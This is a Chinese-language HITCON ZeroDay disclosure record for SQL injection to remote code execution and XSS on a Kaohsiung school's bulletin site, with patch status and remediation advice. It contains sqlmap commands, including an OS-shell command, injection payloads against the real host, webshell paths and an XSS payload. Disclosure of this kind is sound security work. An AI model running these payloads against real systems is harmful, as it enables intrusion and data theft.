Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00450
- Vendor: 高雄立志中學
- Title: 高雄立志中學 SQL injection TO RCE+XSS
- Introduction: SQL injection TO RCE
處理狀態
目前狀態
公開
Last Update : 2024/06/25
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2024/04/25 18:40:37 : 新提交 (由 chocola5655 更新此狀態)
- 2024/04/25 18:42:31 : 新提交 (由 chocola5655 更新此狀態)
- 2024/04/25 18:45:05 : 新提交 (由 chocola5655 更新此狀態)
- 2024/04/25 18:51:13 : 新提交 (由 chocola5655 更新此狀態)
- 2024/04/28 03:45:09 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 20:50:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 20:50:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/05/07 20:50:04 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/06/20 13:12:34 : 已修補 (由 組織帳號 更新此狀態)
- 2024/06/25 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00450
- 通報者:ludi2320531 (chocola5655)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://w5.lcvs.kh.edu.tw/bulletin/view.php?idno=806
https://w5.lcvs.kh.edu.tw:443/bulletin/tmpbolwj.php
https://w5.lcvs.kh.edu.tw:443/bulletin/tmpudusv.php
https://w5.lcvs.kh.edu.tw:443/bulletin/tmpbolwj.php
https://w5.lcvs.kh.edu.tw:443/bulletin/tmpudusv.php
敘述
- SQL Injection
-
payload
sqlmap -u "https://w5.lcvs.kh.edu.tw/bulletin/view.php?idno=816" --dbs --batch注入參數
--- Parameter: idno (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: idno=816 AND 6982=6982 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: idno=816 AND (SELECT 5674 FROM(SELECT COUNT(*),CONCAT(0x716a7a7671,(SELECT (ELT(5674=5674,1))),0x71707a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: idno=816 AND (SELECT 1086 FROM (SELECT(SLEEP(5)))LUeQ) Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: idno=-4700 UNION ALL SELECT NULL,NULL,CONCAT(0x716a7a7671,0x4f74797a6d6a6c5244797a6d434a424d4f447051496c684a6b757a6a69676a57686d6a764e4b514f,0x71707a6b71),NULL,NULL,NULL,NULL,NULL-- - ---
SQL Injection to RCE
payload
sqlmap -u "https://w5.lcvs.kh.edu.tw/bulletin/view.php?idno=816"--batch --os-shell
URL:
注入點1
注入點2
因為了方便組織排查維修所以未將Webshell刪除
WebShell 位置
/var/www/wordpress/bulletin/


XSS
payload
"><script>alert("XSS")</script>

修補建議
SQL 注入漏洞修補:
使用參數化查詢或預處理語句來處理用戶輸入,而不是直接將用戶輸入內嵌到 SQL 查詢中。
對用戶輸入進行嚴格的驗證和過濾,確保只有預期的數據類型和格式被接受。
適當地限制用戶輸入的長度,以防止攻擊者利用長度限制繞過驗證。
資料庫寫入權限過高導致RCE:
降低資料庫用戶的權限:
僅授予資料庫用戶所需的最低權限,避免授予過高的權限,如直接對所有表進行寫入操作的權限。
使用最小特權原則,根據用戶的實際需求設置權限,例如只授予 SELECT、INSERT、UPDATE、DELETE 等最基本的操作權限。
XSS 漏洞
輸入驗證和輸出編碼:對所有用戶輸入進行驗證,並在將輸入數據顯示在頁面上時進行適當的編碼,以防止惡意腳本被執行。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。